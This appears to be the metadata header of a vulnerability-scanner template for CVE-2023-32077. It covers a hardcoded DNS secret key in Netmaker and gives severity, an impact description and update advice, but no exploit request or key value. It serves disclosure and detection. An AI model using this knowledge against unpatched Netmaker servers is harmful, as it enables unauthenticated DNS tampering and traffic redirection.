CVE-2023-32077: Netmaker - Hardcoded DNS Secret Key

id: CVE-2023-32077

info:
  name: Netmaker - Hardcoded DNS Secret Key
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Netmaker makes networks with WireGuard. Prior to versions 0.17.1 and 0.18.6, hardcoded DNS key usage has been found in Netmaker allowing unauth users to interact with DNS API endpoints.
  impact: |
    Unauthenticated attackers can access DNS API endpoints using the hardcoded secret key, potentially manipulating DNS configurations and redirecting WireGuard network traffic in the Netmaker VPN infrastructure.
  remediation: |
    Update Netmaker to version 0.17.1 or 0.18.6 or later that removes hardcoded credentials and implements proper authentication for DNS API endpoints.
